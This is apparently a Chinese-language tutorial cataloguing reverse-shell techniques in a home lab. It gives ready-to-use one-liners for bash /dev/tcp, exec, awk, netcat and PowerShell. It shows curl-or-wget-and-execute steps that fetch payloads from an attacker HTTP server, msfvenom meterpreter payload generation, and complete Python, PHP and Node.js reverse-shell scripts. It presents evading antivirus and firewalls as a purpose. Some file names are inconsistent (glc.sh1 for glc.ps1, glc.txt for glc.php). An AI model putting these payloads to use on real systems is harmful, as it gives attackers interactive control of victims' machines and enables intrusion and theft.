反弹shell的各种姿势
一、反弹shell相关知识
1.shell是什么
- Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。
- Shell 既是一种命令语言,又是一种程序设计语言。
- Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务
2.正向shell和反向shell
- 正向shell:客户端连接服务端为正向连接,如:远程桌面、web服务、ssh、telnet等等
- 反向shell:即反弹shell,攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端
3.反弹shell的目的
- 对方主机在外网无法访问
- 对方主机防火墙限制,只能发送请求,不能接收请求
- 对方IP动态变化
- 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
- 遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
4.原理
- 让对方目标机器主动连接攻击者机器(攻击者作为服务端,受害者主机主动连接攻击者的服务端程序)
- 攻击者A开启XXX端口的TCP服务
- 受害者B连接XXX端口TCP服务
- A、B建立TCP连接
- A通过TCP服务将待执行命令发送到B
- B执行命令后将结果发送给A
二、Linux反弹shell的姿势
- 实验环境(记得实验前关闭防火墙或者开放端口)
名称 | IP地址 |
---|---|
攻击机(kali) | 192.168.80.180 |
目标机(centos) | 192.168.80.130 |
- 攻击机nc监听端口,在目标机执行命令前一定要开启攻击机的端口监听
nc -lvp 8848
1.bash反弹shell
-
bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh
-
实验实操
-
目标机执行
bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
命令 含义 bash -i 产生一个交互式的bash shell >& 将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令)
当>&后边接文件时,表示将表示将标准输入输出重定向到文件
当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符/dev/tcp/ip地址/端口号 一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接 文件描述符 0 - stdin,代表标准输入
1 - stdout,代表标准输出
2 - stderr,代表标准错误输出0>&1 将标准输入重定向到标准输出 -
成功反弹shell
-
反弹原理
- 通过在目标机执行下面的命令,查看正在运行的服务
netstat -anpt
- 在目标机本地开启了一个bash通过42972端口向攻击机192.168.80.180的8848端口走tcp协议
-
-
举例分析命令的构造
为什么要用
bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
,我们通过以下实验就可以得知原因-
将目标机的交互式shell输出重定向到攻击机上,目标机执行命令,攻击机只能看到结果不能执行控制;就是将目标机执行命令的结果输出重定向到攻击机上,攻击机不能执行shell只能看到受害者输出的内容
bash -i > /dev/tcp/192.168.80.180/8848
-
目标机执行命令
-
攻击机返回的页面
-
-
使用输入重定向,目标机将攻击机的输入当作命令执行(执行一次就断了)
bash -i < /dev/tcp/192.168.80.180/8848
- 攻击者执行命令,但是执行一次就断开连接
- 目标机显示了攻击者输入的命令并执行,只是在两端都没有显示
-
将目标机的标准输入重定向到标准输出,即攻击机可以进行输出命令到目标机,因此可以反弹shell,但是受害者会显示执行的指令。即获取交互式的shell,使用文件描述符0>&1
bash -i > /dev/tcp/192.168.80.180/8848 0>&1
- 攻击机执行命令
- 目标机显示了攻击机执行的命令,但是执行结果在界面未显示
-
使用>&或者&>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell;即攻击机执行的命令不会在目标机显示,并且将正确或者错误的输出结果都重定向到攻击机
bash -i >& /dev/tcp/192.168.80.180/8848 0>&1 bash -i &> /dev/tcp/192.168.80.180/8848 0>&1
- 攻击机执行命令
- 目标机没有显示攻击者输入的命令和执行后的结果
-
2.exec反弹shell
-
关于exec可以查看这里
-
实验实操
-
目标机执行
exec 5<>/dev/tcp/192.168.80.180/8848;cat <&5 | while read line; do $line 2>&5 >&5; done
-
成功接到shell
-
3.curl反弹shell
-
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具
-
实验实操
-
在攻击机新建一个文件,里面的内容就是反弹shell的命令,并启动一个http服务,将文件存放在文件目录里
bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
python3 -m http.server 80
-
目标主机使用curl命令访问攻击机的url,并重定向到bash
curl 192.168.80.180/shell|bash
-
攻击机成功连接
-
-
命令原理
-
使用curl访问远程站点下文件,并使用管道符重定向到bash;相当于用bash执行了文件中的命令
-
4.awk反弹shell
-
目标机执行
awk 'BEGIN {s = "/inet/tcp/0/192.168.80.180/8848"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
-
攻击者成功连接shell
-
优点
-
客户端一直保持向服务端反弹shell的状态
-
正常的bash反弹shell服务端结束了shell(ctrl+c取消),shell客户端(受害者)也随之结束建立连接的命令,但是awk再次监听端口时仍旧能连接(也就是客户端一直保持连接状态除非手动在客户端结束,这样的好处是即使服务端断开连接不用在受害者主机中再次执行命令直接nc接shell即可)
-
5.nc反弹shell
-
目标机需要安装netcat
-
目标机执行
nc 192.168.80.180 8848 -e /bin/sh
-
攻击机成功连接shell
三、Windows 反弹shell
- 实验环境(记得实验前关闭防火墙或者开放端口)
名称 | IP地址 |
---|---|
攻击机(kali) | 192.168.80.180 |
目标机(windows11) | 192.168.1.3 |
1.自定义powershell 反弹shell
-
利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1
-
目标机执行
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.80.180',8848);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
-
攻击机成功连接shell
2.nc反弹shell
-
目标机需要安装netcat
-
目标机执行
nc 192.168.80.180 8848 -e c:\windows\system32\cmd.exe
-
攻击者成功连接shell
四、MSF 反弹shell
-
实验环境(记得实验前关闭防火墙或者开放端口)
名称 IP地址 攻击机(kali) 192.168.80.180 目标机(windows11) 192.168.1.3 目标机(centos) 192.168.80.130
1.Windows反弹shell(exe)
-
MSF生成可执行exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.180 LPORT=8848 -f exe -o glc.exe
-
在攻击机开启http服务,将生成的glc.exe文件放在网站根目录
python3 -m http.server 80
-
启动MSF,并修改配置
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set lhost 192.168.80.180 set lport 8848 exploit/run
-
执行,等待目标机执行exe文件
-
目标机下载glc.exe文件,并手动执行
2.Windows反弹shell(powershell)
-
我们要先确定目标主机的操作系统位数
uname -a Linux systemctl/systeminfo Windows
-
MSF生成ps1格式的powershell脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.180 LPORT=8848 -f psh-reflection > glc.ps1
-
在攻击机开启http服务,将生成的glc.ps1文件放在网站根目录
-
配置MSF并执行,等待目标机执行glc.sh1文件
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.80.180 set lport 8848 exploit/run
-
目标主机下载glc.ps1文件,并使用powershell执行该文件,成功连接shell
powershell ./glc.sh1
3.Linux反弹shell(elf)
-
使用MSF生成elf文件,并放在网站根目录,开启http服务
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.80.180 lport=8848 -f elf >glc
-
配置MSF,等待目标机执行glc文件
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.80.180 set lport 8848 exploit/run
-
在目标主机通过wget下载glc文件,并赋予可执行权限
wget http://192.168.80.180/glc chmod 777 glc
-
目标机执行glc文件,成功连接shell
五、不同语言反弹shell
-
实验环境(记得实验前关闭防火墙或者开放端口,并且目标机要装有下面的语言环境)
名称 IP地址 攻击机(kali) 192.168.80.180 目标机(centos) 192.168.80.130
1.python反弹shell
-
已知目标机上存在python环境
python
-
python反弹shell代码
#!/usr/bin/python #-*- coding: utf-8 -*- import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.80.180",8848)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
-
攻击机启动http服务,并在站点目录下存放glc.py文件,内容就是上面的代码
-
目标机中执行
curl http://192.168.80.180/glc.py|python
-
攻击机成功连接shell
-
命令原理
-
目标机使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行
-
2.php反弹shell
-
已知目标机存在php环境
php -v
-
php反弹shell代码
<?php $sock=fsockopen("192.168.80.180",8848); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
-
攻击机启动http服务,并在站点目录下存放glc.txt文件,内容就是上面的代码
-
目标机中执行
curl http://192.168.80.180/glc.php|php
-
攻击机成功连接shell
-
命令原理
-
目标机使用curl命令工具访问攻击者站点上的反弹shell的php脚本,并通过管道符调用php解析器执行
-
3.Node.JS反弹shell
-
已知目标机存在node.js环境
node -v
-
node.js反弹shell代码
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8848, "192.168.80.180", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
-
攻击机启动http服务,并在站点目录下存放glc.js文件,内容就是上面的代码
-
目标机中执行
curl http://192.168.80.180/glc.js|node
-
攻击机成功连接shell
-
命令原理
-
目标机使用curl命令工具访问攻击者站点上的反弹shell的JS脚本,并通过管道符调用node.js解析器执行
-